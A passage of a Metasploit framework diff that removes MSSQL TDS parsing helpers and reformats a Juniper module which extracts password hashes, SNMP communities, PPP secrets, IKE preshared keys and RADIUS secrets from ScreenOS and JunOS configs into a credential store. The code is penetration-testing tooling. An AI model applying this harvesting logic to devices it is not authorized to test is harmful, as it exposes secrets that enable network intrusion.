info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a "done" TDS token
|
||||
#
|
||||
def mssql_parse_done(data, info)
|
||||
status, cmd, rows = data.slice!(0, 8).unpack('vvV')
|
||||
info[:done] = { :status => status, :cmd => cmd, :rows => rows }
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse an "error" TDS token
|
||||
#
|
||||
def mssql_parse_error(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
|
||||
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
|
||||
emsg = buff.slice!(0, elen * 2)
|
||||
emsg.gsub!("\x00", '')
|
||||
|
||||
info[:errors] << "SQL Server Error ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse an "information" TDS token
|
||||
#
|
||||
def mssql_parse_info(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
buff = data.slice!(0, len)
|
||||
|
||||
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
|
||||
emsg = buff.slice!(0, elen * 2)
|
||||
emsg.gsub!("\x00", '')
|
||||
|
||||
info[:infos] ||= []
|
||||
info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a "login ack" TDS token
|
||||
#
|
||||
def mssql_parse_login_ack(data, info)
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
_buff = data.slice!(0, len)
|
||||
info[:login_ack] = true
|
||||
end
|
||||
|
||||
#
|
||||
# Parse individual tokens from a TDS reply
|
||||
#
|
||||
def mssql_parse_reply(data, info)
|
||||
info[:errors] = []
|
||||
return if not data
|
||||
until data.empty?
|
||||
token = data.slice!(0, 1).unpack('C')[0]
|
||||
case token
|
||||
when 0x81
|
||||
mssql_parse_tds_reply(data, info)
|
||||
when 0xd1
|
||||
mssql_parse_tds_row(data, info)
|
||||
when 0xe3
|
||||
mssql_parse_env(data, info)
|
||||
when 0x79
|
||||
mssql_parse_ret(data, info)
|
||||
when 0xfd, 0xfe, 0xff
|
||||
mssql_parse_done(data, info)
|
||||
when 0xad
|
||||
mssql_parse_login_ack(data, info)
|
||||
when 0xab
|
||||
mssql_parse_info(data, info)
|
||||
when 0xaa
|
||||
mssql_parse_error(data, info)
|
||||
when nil
|
||||
break
|
||||
else
|
||||
info[:errors] << "unsupported token: #{token}"
|
||||
end
|
||||
end
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a raw TDS reply from the server
|
||||
#
|
||||
def mssql_parse_tds_reply(data, info)
|
||||
info[:errors] ||= []
|
||||
info[:colinfos] ||= []
|
||||
info[:colnames] ||= []
|
||||
|
||||
# Parse out the columns
|
||||
cols = data.slice!(0, 2).unpack('v')[0]
|
||||
0.upto(cols-1) do |col_idx|
|
||||
col = {}
|
||||
info[:colinfos][col_idx] = col
|
||||
|
||||
col[:utype] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:flags] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:type] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
case col[:type]
|
||||
when 48
|
||||
col[:id] = :tinyint
|
||||
|
||||
when 52
|
||||
col[:id] = :smallint
|
||||
|
||||
when 56
|
||||
col[:id] = :rawint
|
||||
|
||||
when 61
|
||||
col[:id] = :datetime
|
||||
|
||||
when 34
|
||||
col[:id] = :image
|
||||
col[:max_size] = data.slice!(0, 4).unpack('V')[0]
|
||||
col[:value_length] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '')
|
||||
|
||||
when 36
|
||||
col[:id] = :string
|
||||
|
||||
when 38
|
||||
col[:id] = :int
|
||||
col[:int_size] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
when 127
|
||||
col[:id] = :bigint
|
||||
|
||||
when 165
|
||||
col[:id] = :hex
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
|
||||
when 173
|
||||
col[:id] = :hex # binary(2)
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
|
||||
when 231, 175, 167, 239
|
||||
col[:id] = :string
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:codepage] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:cflags] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:charset_id] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
else
|
||||
col[:id] = :unknown
|
||||
end
|
||||
|
||||
col[:msg_len] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
if(col[:msg_len] and col[:msg_len] > 0)
|
||||
col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
|
||||
end
|
||||
info[:colnames] << (col[:name] || 'NULL')
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a single row of a TDS reply
|
||||
#
|
||||
def mssql_parse_tds_row(data, info)
|
||||
info[:rows] ||= []
|
||||
row = []
|
||||
|
||||
info[:colinfos].each do |col|
|
||||
|
||||
if(data.length == 0)
|
||||
row << "<EMPTY>"
|
||||
next
|
||||
end
|
||||
|
||||
case col[:id]
|
||||
when :hex
|
||||
str = ""
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
if(len > 0 and len < 65535)
|
||||
str << data.slice!(0, len)
|
||||
end
|
||||
row << str.unpack("H*")[0]
|
||||
|
||||
when :string
|
||||
str = ""
|
||||
len = data.slice!(0, 2).unpack('v')[0]
|
||||
if(len > 0 and len < 65535)
|
||||
str << data.slice!(0, len)
|
||||
end
|
||||
row << str.gsub("\x00", '')
|
||||
|
||||
when :datetime
|
||||
row << data.slice!(0, 8).unpack("H*")[0]
|
||||
|
||||
when :rawint
|
||||
row << data.slice!(0, 4).unpack('V')[0]
|
||||
|
||||
when :bigint
|
||||
row << data.slice!(0, 8).unpack("H*")[0]
|
||||
|
||||
when :smallint
|
||||
row << data.slice!(0, 2).unpack("v")[0]
|
||||
|
||||
when :smallint3
|
||||
row << [data.slice!(0, 3)].pack("Z4").unpack("V")[0]
|
||||
|
||||
when :tinyint
|
||||
row << data.slice!(0, 1).unpack("C")[0]
|
||||
|
||||
when :image
|
||||
str = ''
|
||||
len = data.slice!(0, 1).unpack('C')[0]
|
||||
str = data.slice!(0, len) if (len and len > 0)
|
||||
row << str.unpack("H*")[0]
|
||||
|
||||
when :int
|
||||
len = data.slice!(0, 1).unpack("C")[0]
|
||||
raw = data.slice!(0, len) if (len and len > 0)
|
||||
|
||||
case len
|
||||
when 0, 255
|
||||
row << ''
|
||||
when 1
|
||||
row << raw.unpack("C")[0]
|
||||
when 2
|
||||
row << raw.unpack('v')[0]
|
||||
when 4
|
||||
row << raw.unpack('V')[0]
|
||||
when 5
|
||||
row << raw.unpack('V')[0] # XXX: missing high byte
|
||||
when 8
|
||||
row << raw.unpack('VV')[0] # XXX: missing high dword
|
||||
else
|
||||
info[:errors] << "invalid integer size: #{len} #{data[0, 16].unpack("H*")[0]}"
|
||||
end
|
||||
else
|
||||
info[:errors] << "unknown column type: #{col.inspect}"
|
||||
end
|
||||
end
|
||||
|
||||
info[:rows] << row
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
#this method send a prelogin packet and check if encryption is off
|
||||
#
|
||||
@@ -690,56 +394,10 @@ module Metasploit
|
||||
encryption_mode
|
||||
end
|
||||
|
||||
#
|
||||
# Send and receive using TDS
|
||||
#
|
||||
def mssql_send_recv(req, timeout=15, check_status = true)
|
||||
sock.put(req)
|
||||
|
||||
# Read the 8 byte header to get the length and status
|
||||
# Read the length to get the data
|
||||
# If the status is 0, read another header and more data
|
||||
|
||||
done = false
|
||||
resp = ""
|
||||
|
||||
while(not done)
|
||||
head = sock.get_once(8, timeout)
|
||||
if !(head && head.length == 8)
|
||||
return false
|
||||
end
|
||||
|
||||
# Is this the last buffer?
|
||||
if head[1, 1] == "\x01" || !check_status
|
||||
done = true
|
||||
end
|
||||
|
||||
# Grab this block's length
|
||||
rlen = head[2, 2].unpack('n')[0] - 8
|
||||
|
||||
while(rlen > 0)
|
||||
buff = sock.get_once(rlen, timeout)
|
||||
return if not buff
|
||||
resp << buff
|
||||
rlen -= buff.length
|
||||
end
|
||||
end
|
||||
|
||||
resp
|
||||
end
|
||||
|
||||
def mssql_ssl_send_recv(req, tdsproxy, timeout=15, check_status=true)
|
||||
tdsproxy.send_recv(req)
|
||||
end
|
||||
|
||||
#
|
||||
# Encrypt a password according to the TDS protocol (encode)
|
||||
#
|
||||
def mssql_tds_encrypt(pass)
|
||||
# Convert to unicode, swap 4 bits both ways, xor with 0xa5
|
||||
Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*")
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
def windows_authentication
|
||||
|
||||
@@ -30,7 +30,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "6.2.4"
|
||||
VERSION = "6.2.12"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -22,7 +22,7 @@ class Config < Hash
|
||||
# The installation's root directory for the distribution
|
||||
InstallRoot = File.expand_path(File.join(File.dirname(__FILE__), '..', '..', '..'))
|
||||
|
||||
# Determines the base configuration directory.
|
||||
# Determines the base configuration directory. This method should be considered `private`.
|
||||
#
|
||||
# @return [String] the base configuration directory
|
||||
def self.get_config_root
|
||||
|
||||
@@ -413,7 +413,7 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
||||
|
||||
def update_session_info
|
||||
# sys.config.getuid, and fs.dir.getwd cache their results, so update them
|
||||
fs.dir.getwd
|
||||
fs&.dir&.getwd
|
||||
username = self.sys.config.getuid
|
||||
sysinfo = self.sys.config.sysinfo
|
||||
|
||||
|
||||
@@ -243,7 +243,8 @@ module Auxiliary::HttpCrawler
|
||||
# Specific module implementations should redefine this method
|
||||
# with whatever is meaningful to them.
|
||||
def crawler_process_page(t, page, cnt)
|
||||
msg = "[#{"%.5d" % cnt}/#{"%.5d" % max_page_count}] #{page.code || "ERR"} - #{@current_site.vhost} - #{page.url}"
|
||||
return if page.nil? # Skip over pages that don't contain any info aka page is nil. We can't process these types of pages since there is no data to process.
|
||||
msg = "[#{"%.5d" % cnt}/#{"%.5d" % max_page_count}] #{page ? page.code || "ERR" : "ERR"} - #{@current_site.vhost} - #{page.url}"
|
||||
case page.code
|
||||
when 301,302
|
||||
if page.headers and page.headers["location"]
|
||||
|
||||
+259
-238
@@ -3,257 +3,278 @@
|
||||
require 'metasploit/framework/hashes/identify'
|
||||
|
||||
module Msf
|
||||
###
|
||||
#
|
||||
# This module provides methods for working with Juniper equipment
|
||||
#
|
||||
###
|
||||
module Auxiliary::Juniper
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
###
|
||||
#
|
||||
# This module provides methods for working with Juniper equipment
|
||||
#
|
||||
###
|
||||
module Auxiliary::Juniper
|
||||
include Msf::Auxiliary::Report
|
||||
def juniper_screenos_config_eater(thost, tport, config)
|
||||
# this is for the netscreen OS, which came on SSG (ie SSG5) type devices.
|
||||
# It is similar to cisco, however it doesn't always put all fields we care
|
||||
# about on one line.
|
||||
# Docs: snmp -> https://kb.juniper.net/InfoCenter/index?page=content&id=KB4223
|
||||
# ppp -> https://kb.juniper.net/InfoCenter/index?page=content&id=KB22592
|
||||
# ike -> https://kb.juniper.net/KB4147
|
||||
# https://github.com/h00die/MSF-Testing-Scripts/blob/master/juniper_strings.py#L171
|
||||
|
||||
def juniper_screenos_config_eater(thost, tport, config)
|
||||
# this is for the netscreen OS, which came on SSG (ie SSG5) type devices.
|
||||
# It is similar to cisco, however it doesn't always put all fields we care
|
||||
# about on one line.
|
||||
# Docs: snmp -> https://kb.juniper.net/InfoCenter/index?page=content&id=KB4223
|
||||
# ppp -> https://kb.juniper.net/InfoCenter/index?page=content&id=KB22592
|
||||
# ike -> https://kb.juniper.net/KB4147
|
||||
# https://github.com/h00die/MSF-Testing-Scripts/blob/master/juniper_strings.py#L171
|
||||
report_host({
|
||||
host: thost,
|
||||
os_name: 'Juniper ScreenOS'
|
||||
})
|
||||
|
||||
report_host({
|
||||
:host => thost,
|
||||
:os_name => 'Juniper ScreenOS'
|
||||
})
|
||||
|
||||
if framework.db.active
|
||||
credential_data = {
|
||||
address: thost,
|
||||
port: tport,
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id,
|
||||
origin_type: :service,
|
||||
service_name: '',
|
||||
private_type: :nonreplayable_hash,
|
||||
module_fullname: self.fullname,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}
|
||||
end
|
||||
|
||||
store_loot('juniper.netscreen.config', 'text/plain', thost, config.strip, 'config.txt', 'Juniper Netscreen Configuration')
|
||||
|
||||
# admin name and password
|
||||
# Example lines:
|
||||
# set admin name "netscreen"
|
||||
# set admin password "nKVUM2rwMUzPcrkG5sWIHdCtqkAibn"
|
||||
config.scan(/set admin name "(?<admin_name>[a-z0-9]+)".+set admin password "(?<admin_password_hash>[a-z0-9]+)"/mi).each do |result|
|
||||
admin_name = result[0].strip
|
||||
admin_hash = result[1].strip
|
||||
print_good("Admin user #{admin_name} found with password hash #{admin_hash}")
|
||||
next unless framework.db.active
|
||||
cred = credential_data.dup
|
||||
cred[:username] = admin_name
|
||||
cred[:private_data] = admin_hash
|
||||
create_credential_and_login(cred)
|
||||
end
|
||||
|
||||
# user account
|
||||
# Example lines:
|
||||
# set user "testuser" uid 1
|
||||
# set user "testuser" type auth
|
||||
# set user "testuser" hash-password "02b0jt2gZGipCiIEgl4eainqZIKzjSNQYLIwE="
|
||||
# set user "testuser" enable
|
||||
config.scan(/set user "(?<user_name>[a-z0-9]+)" uid (?<user_uid>\d+).+set user "\k<user_name>" type (?<user_type>\w+).+set user "\k<user_name>" hash-password "(?<user_hash>[0-9a-z=]{38})".+set user "\k<user_name>" (?<user_enable>enable).+/mi).each do |result|
|
||||
user_name = result[0].strip
|
||||
user_uid = result[1].strip
|
||||
user_enable = result[4].strip
|
||||
user_hash = result[3].strip
|
||||
print_good("User #{user_uid} named #{user_name} found with password hash #{user_hash}. Enable permission: #{user_enable}")
|
||||
next unless framework.db.active
|
||||
cred = credential_data.dup
|
||||
cred[:username] = user_name
|
||||
cred[:jtr_format] = 'sha1'
|
||||
cred[:private_data] = user_hash
|
||||
create_credential_and_login(cred)
|
||||
end
|
||||
|
||||
# snmp
|
||||
# Example lines:
|
||||
# set snmp community "sales" Read-Write Trap-on traffic version v1
|
||||
config.scan(/set snmp community "(?<snmp_community>[a-z0-9]+)" (?<snmp_permissions>Read-Write|Read-Only)/i).each do |result|
|
||||
snmp_community = result[0].strip
|
||||
snmp_permissions = result[1].strip
|
||||
print_good("SNMP community #{snmp_community} with permissions #{snmp_permissions}")
|
||||
next unless framework.db.active
|
||||
cred = credential_data.dup
|
||||
if snmp_permissions.downcase == 'read-write'
|
||||
cred[:access_level] = 'RW'
|
||||
else
|
||||
cred[:access_level] = 'RO'
|
||||
end
|
||||
cred[:protocol] = 'udp'
|
||||
cred[:port] = 161
|
||||
cred[:service_name] = 'snmp'
|
||||
cred[:private_data] = snmp_community
|
||||
cred[:private_type] = :password
|
||||
create_credential_and_login(cred)
|
||||
end
|
||||
|
||||
# ppp
|
||||
# Example lines:
|
||||
# setppp profile "ISP" auth type pap
|
||||
# setppp profile "ISP" auth local-name "username"
|
||||
# setppp profile "ISP" auth secret "fzSzAn31N4Sbh/sukoCDLvhJEdn0DVK7vA=="
|
||||
config.scan(/setppp profile "(?<ppp_name>[a-z0-9]+)" auth type (?<ppp_authtype>[a-z]+).+setppp profile "\k<ppp_name>" auth local-name "(?<ppp_username>[a-z0-9]+)".+setppp profile "\k<ppp_name>" auth secret "(?<ppp_hash>.+)"/mi).each do |result|
|
||||
ppp_name = result[0].strip
|
||||
ppp_username = result[2].strip
|
||||
ppp_hash = result[3].strip
|
||||
ppp_authtype = result[1].strip
|
||||
print_good("PPTP Profile #{ppp_name} with username #{ppp_username} hash #{ppp_hash} via #{ppp_authtype}")
|
||||
next unless framework.db.active
|
||||
cred = credential_data.dup
|
||||
cred[:username] = ppp_username
|
||||
cred[:private_data] = ppp_hash
|
||||
cred[:service_name] = 'pptp'
|
||||
cred[:port] = 1723
|
||||
create_credential_and_login(cred)
|
||||
end
|
||||
|
||||
# ike
|
||||
# Example lines:
|
||||
# set ike gateway "To-Cisco" address 2.2.2.1 Main outgoing-interface "ethernet1" preshare "netscreen" proposal "pre-g2-des-sha"
|
||||
config.scan(/set ike gateway "(?<ike_name>.+)" address (?<ike_address>[0-9.]+) Main outgoing-interface ".+" preshare "(?<ike_password>.+)" proposal "(?<ike_method>.+)"/i).each do |result|
|
||||
ike_name = result[0].strip
|
||||
ike_address = result[1].strip
|
||||
ike_password = result[2].strip
|
||||
ike_method = result[3].strip
|
||||
print_good("IKE Profile #{ike_name} to #{ike_address} with password #{ike_password} via #{ike_method}")
|
||||
next unless framework.db.active
|
||||
cred = credential_data.dup
|
||||
cred[:private_data] = ike_password
|
||||
cred[:private_type] = :password
|
||||
cred[:service_name] = 'ike'
|
||||
cred[:port] = 500
|
||||
cred[:address] = ike_address
|
||||
cred[:protocol] = 'udp'
|
||||
create_credential_and_login(cred)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
def juniper_junos_config_eater(thost, tport, config)
|
||||
|
||||
report_host({
|
||||
:host => thost,
|
||||
:os_name => 'Juniper JunOS'
|
||||
})
|
||||
|
||||
|
||||
if framework.db.active
|
||||
credential_data = {
|
||||
address: thost,
|
||||
port: tport,
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id,
|
||||
origin_type: :service,
|
||||
private_type: :nonreplayable_hash,
|
||||
service_name: '',
|
||||
module_fullname: self.fullname,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}
|
||||
end
|
||||
|
||||
store_loot('juniper.junos.config', 'text/plain', thost, config.strip, 'config.txt', 'Juniper JunOS Configuration')
|
||||
|
||||
# we'll take out the pretty format so its easier to regex
|
||||
config = config.split("\n").join('')
|
||||
|
||||
# Example:
|
||||
#system {
|
||||
# root-authentication {
|
||||
# encrypted-password "$1$pz9b1.fq$foo5r85Ql8mXdoRUe0C1E."; ## SECRET-DATA
|
||||
# }
|
||||
#}
|
||||
if /root-authentication[\s]+\{[\s]+encrypted-password "(?<root_hash>[^"]+)";/i =~ config
|
||||
root_hash = root_hash.strip
|
||||
jtr_format = identify_hash root_hash
|
||||
|
||||
print_good("root password hash: #{root_hash}")
|
||||
if framework.db.active
|
||||
credential_data = {
|
||||
address: thost,
|
||||
port: tport,
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id,
|
||||
origin_type: :service,
|
||||
service_name: '',
|
||||
private_type: :nonreplayable_hash,
|
||||
module_fullname: fullname,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}
|
||||
end
|
||||
|
||||
store_loot('juniper.netscreen.config', 'text/plain', thost, config.strip, 'config.txt', 'Juniper Netscreen Configuration')
|
||||
|
||||
# admin name and password
|
||||
# Example lines:
|
||||
# set admin name "netscreen"
|
||||
# set admin password "nKVUM2rwMUzPcrkG5sWIHdCtqkAibn"
|
||||
config.scan(/set admin name "(?<admin_name>[a-z0-9]+)".+set admin password "(?<admin_password_hash>[a-z0-9]+)"/mi).each do |result|
|
||||
admin_name = result[0].strip
|
||||
admin_hash = result[1].strip
|
||||
print_good("Admin user #{admin_name} found with password hash #{admin_hash}")
|
||||
next unless framework.db.active
|
||||
|
||||
cred = credential_data.dup
|
||||
cred[:username] = 'root'
|
||||
cred[:jtr_format] = jtr_format
|
||||
cred[:private_data] = root_hash
|
||||
cred[:username] = admin_name
|
||||
cred[:private_data] = admin_hash
|
||||
create_credential_and_login(cred)
|
||||
end
|
||||
|
||||
# user account
|
||||
# Example lines:
|
||||
# set user "testuser" uid 1
|
||||
# set user "testuser" type auth
|
||||
# set user "testuser" hash-password "02b0jt2gZGipCiIEgl4eainqZIKzjSNQYLIwE="
|
||||
# set user "testuser" enable
|
||||
config.scan(/set user "(?<user_name>[a-z0-9]+)" uid (?<user_uid>\d+).+set user "\k<user_name>" type (?<user_type>\w+).+set user "\k<user_name>" hash-password "(?<user_hash>[0-9a-z=]{38})".+set user "\k<user_name>" (?<user_enable>enable).+/mi).each do |result|
|
||||
user_name = result[0].strip
|
||||
user_uid = result[1].strip
|
||||
user_enable = result[4].strip
|
||||
user_hash = result[3].strip
|
||||
print_good("User #{user_uid} named #{user_name} found with password hash #{user_hash}. Enable permission: #{user_enable}")
|
||||
next unless framework.db.active
|
||||
|
||||
cred = credential_data.dup
|
||||
cred[:username] = user_name
|
||||
cred[:jtr_format] = 'sha1'
|
||||
cred[:private_data] = user_hash
|
||||
create_credential_and_login(cred)
|
||||
end
|
||||
|
||||
# snmp
|
||||
# Example lines:
|
||||
# set snmp community "sales" Read-Write Trap-on traffic version v1
|
||||
config.scan(/set snmp community "(?<snmp_community>[a-z0-9]+)" (?<snmp_permissions>Read-Write|Read-Only)/i).each do |result|
|
||||
snmp_community = result[0].strip
|
||||
snmp_permissions = result[1].strip
|
||||
print_good("SNMP community #{snmp_community} with permissions #{snmp_permissions}")
|
||||
next unless framework.db.active
|
||||
|
||||
cred = credential_data.dup
|
||||
if snmp_permissions.downcase == 'read-write'
|
||||
cred[:access_level] = 'RW'
|
||||
else
|
||||
cred[:access_level] = 'RO'
|
||||
end
|
||||
cred[:protocol] = 'udp'
|
||||
cred[:port] = 161
|
||||
cred[:service_name] = 'snmp'
|
||||
cred[:private_data] = snmp_community
|
||||
cred[:private_type] = :password
|
||||
create_credential_and_login(cred)
|
||||
end
|
||||
|
||||
# ppp
|
||||
# Example lines:
|
||||
# setppp profile "ISP" auth type pap
|
||||
# setppp profile "ISP" auth local-name "username"
|
||||
# setppp profile "ISP" auth secret "fzSzAn31N4Sbh/sukoCDLvhJEdn0DVK7vA=="
|
||||
config.scan(/setppp profile "(?<ppp_name>[a-z0-9]+)" auth type (?<ppp_authtype>[a-z]+).+setppp profile "\k<ppp_name>" auth local-name "(?<ppp_username>[a-z0-9]+)".+setppp profile "\k<ppp_name>" auth secret "(?<ppp_hash>.+)"/mi).each do |result|
|
||||
ppp_name = result[0].strip
|
||||
ppp_username = result[2].strip
|
||||
ppp_hash = result[3].strip
|
||||
ppp_authtype = result[1].strip
|
||||
print_good("PPTP Profile #{ppp_name} with username #{ppp_username} hash #{ppp_hash} via #{ppp_authtype}")
|
||||
next unless framework.db.active
|
||||
|
||||
cred = credential_data.dup
|
||||
cred[:username] = ppp_username
|
||||
cred[:private_data] = ppp_hash
|
||||
cred[:service_name] = 'pptp'
|
||||
cred[:port] = 1723
|
||||
create_credential_and_login(cred)
|
||||
end
|
||||
|
||||
# ike
|
||||
# Example lines:
|
||||
# set ike gateway "To-Cisco" address 2.2.2.1 Main outgoing-interface "ethernet1" preshare "netscreen" proposal "pre-g2-des-sha"
|
||||
config.scan(/set ike gateway "(?<ike_name>.+)" address (?<ike_address>[0-9.]+) Main outgoing-interface ".+" preshare "(?<ike_password>.+)" proposal "(?<ike_method>.+)"/i).each do |result|
|
||||
ike_name = result[0].strip
|
||||
ike_address = result[1].strip
|
||||
ike_password = result[2].strip
|
||||
ike_method = result[3].strip
|
||||
print_good("IKE Profile #{ike_name} to #{ike_address} with password #{ike_password} via #{ike_method}")
|
||||
next unless framework.db.active
|
||||
|
||||
cred = credential_data.dup
|
||||
cred[:private_data] = ike_password
|
||||
cred[:private_type] = :password
|
||||
cred[:service_name] = 'ike'
|
||||
cred[:port] = 500
|
||||
cred[:address] = ike_address
|
||||
cred[:protocol] = 'udp'
|
||||
create_credential_and_login(cred)
|
||||
end
|
||||
end
|
||||
|
||||
# access privileges https://kb.juniper.net/InfoCenter/index?page=content&id=KB10902
|
||||
config.scan(/user (?<user_name>[^\s]+) {[\s]+ uid (?<user_uid>[\d]+);[\s]+ class (?<user_permission>super-user|operator|read-only|unauthorized);[\s]+ authentication {[\s]+encrypted-password "(?<user_hash>[^\s]+)";/i).each do |result|
|
||||
user_name = result[0].strip
|
||||
user_uid = result[1].strip
|
||||
user_permission = result[2].strip
|
||||
user_hash = result[3].strip
|
||||
jtr_format = identify_hash user_hash
|
||||
def juniper_junos_config_eater(thost, tport, config)
|
||||
report_host({
|
||||
host: thost,
|
||||
os_name: 'Juniper JunOS'
|
||||
})
|
||||
|
||||
print_good("User #{user_uid} named #{user_name} in group #{user_permission} found with password hash #{user_hash}.")
|
||||
next unless framework.db.active
|
||||
cred = credential_data.dup
|
||||
cred[:username] = user_name
|
||||
cred[:jtr_format] = jtr_format
|
||||
cred[:private_data] = user_hash
|
||||
create_credential_and_login(cred)
|
||||
end
|
||||
|
||||
# https://supportf5.com/csp/article/K6449 special characters allowed in snmp community strings
|
||||
config.scan(/community "?(?<snmp_community>[\w\d\s\(\)\.\*\/-:_\?=@\,&%\$]+)"? {(\s+view [\w\-]+;)?\s+authorization read-(?<snmp_permission>only|write)/i).each do |result|
|
||||
snmp_community = result[0].strip
|
||||
snmp_permissions = result[1].strip
|
||||
print_good("SNMP community #{snmp_community} with permissions read-#{snmp_permissions}")
|
||||
next unless framework.db.active
|
||||
cred = credential_data.dup
|
||||
if snmp_permissions.downcase == 'write'
|
||||
cred[:access_level] = 'RW'
|
||||
else
|
||||
cred[:access_level] = 'RO'
|
||||
if framework.db.active
|
||||
credential_data = {
|
||||
address: thost,
|
||||
port: tport,
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id,
|
||||
origin_type: :service,
|
||||
private_type: :nonreplayable_hash,
|
||||
service_name: '',
|
||||
module_fullname: fullname,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}
|
||||
end
|
||||
cred[:protocol] = 'udp'
|
||||
cred[:port] = 161
|
||||
cred[:private_data] = snmp_community
|
||||
cred[:private_type] = :password
|
||||
cred[:service_name] = 'snmp'
|
||||
create_credential_and_login(cred)
|
||||
end
|
||||
|
||||
config.scan(/radius-server \{[\s]+(?<radius_server>[0-9\.]{7,15}) secret "(?<radius_hash>[^"]+)";/i).each do |result|
|
||||
radius_hash = result[1].strip
|
||||
radius_server = result[0].strip
|
||||
print_good("radius server #{radius_server} password hash: #{radius_hash}")
|
||||
next unless framework.db.active
|
||||
cred = credential_data.dup
|
||||
cred[:address] = radius_server
|
||||
cred[:port] = 1812
|
||||
cred[:protocol] = 'udp'
|
||||
cred[:private_data] = radius_hash
|
||||
cred[:service_name] = 'radius'
|
||||
create_credential_and_login(cred)
|
||||
end
|
||||
store_loot('juniper.junos.config', 'text/plain', thost, config.strip, 'config.txt', 'Juniper JunOS Configuration')
|
||||
|
||||
config.scan(/pap {[\s]+local-name "(?<ppp_username>.+)";[\s]+local-password "(?<ppp_hash>[^"]+)";/i).each do |result|
|
||||
ppp_username = result[0].strip
|
||||
ppp_hash = result[1].strip
|
||||
print_good("PPTP username #{ppp_username} hash #{ppp_hash} via PAP")
|
||||
next unless framework.db.active
|
||||
cred = credential_data.dup
|
||||
cred[:username] = ppp_username
|
||||
cred[:private_data] = ppp_hash
|
||||
cred[:service_name] = 'pptp'
|
||||
cred[:port] = 1723
|
||||
create_credential_and_login(cred)
|
||||
end
|
||||
# we'll take out the pretty format so its easier to regex
|
||||
config = config.split("\n").join('')
|
||||
|
||||
# Example:
|
||||
# system {
|
||||
# root-authentication {
|
||||
# encrypted-password "$1$pz9b1.fq$foo5r85Ql8mXdoRUe0C1E."; ## SECRET-DATA
|
||||
# }
|
||||
# }
|
||||
if /root-authentication\s+\{\s+encrypted-password "(?<root_hash>[^"]+)";/i =~ config
|
||||
root_hash = root_hash.strip
|
||||
jtr_format = identify_hash root_hash
|
||||
|
||||
print_good("root password hash: #{root_hash}")
|
||||
if framework.db.active
|
||||
cred = credential_data.dup
|
||||
cred[:username] = 'root'
|
||||
cred[:jtr_format] = jtr_format
|
||||
cred[:private_data] = root_hash
|
||||
create_credential_and_login(cred)
|
||||
end
|
||||
end
|
||||
|
||||
# access privileges https://kb.juniper.net/InfoCenter/index?page=content&id=KB10902
|
||||
config.scan(/user (?<user_name>[^\s]+) {(\s+ full-name (?<fullname>[^;]+);)?\s+ uid (?<user_uid>\d+);\s+ class (?<user_permission>super-user|operator|read-only|unauthorized|[^;]+);\s+ authentication {\s+encrypted-password "(?<user_hash>[^\s]+)";/i).each do |result|
|
||||
user_name = result[0].strip
|
||||
user_uid = result[2].strip
|
||||
user_permission = result[3].strip
|
||||
user_hash = result[4].strip
|
||||
jtr_format = identify_hash user_hash
|
||||
|
||||
print_good("User #{user_uid} named #{user_name} in group #{user_permission} found with password hash #{user_hash}.")
|
||||
next unless framework.db.active
|
||||
|
||||
cred = credential_data.dup
|
||||
cred[:username] = user_name
|
||||
cred[:jtr_format] = jtr_format
|
||||
cred[:private_data] = user_hash
|
||||
create_credential_and_login(cred)
|
||||
end
|
||||
|
||||
# https://supportf5.com/csp/article/K6449 special characters allowed in snmp community strings
|
||||
config.scan(%r{community "?(?<snmp_community>[\w\d\s().*/-:_?=@,&%$+!]+)"? \{(\s+view [\w\-]+;)?\s+authorization read-(?<snmp_permission>only|write)}i).each do |result|
|
||||
snmp_community = result[0].strip
|
||||
snmp_permissions = result[1].strip
|
||||
print_good("SNMP community #{snmp_community} with permissions read-#{snmp_permissions}")
|
||||
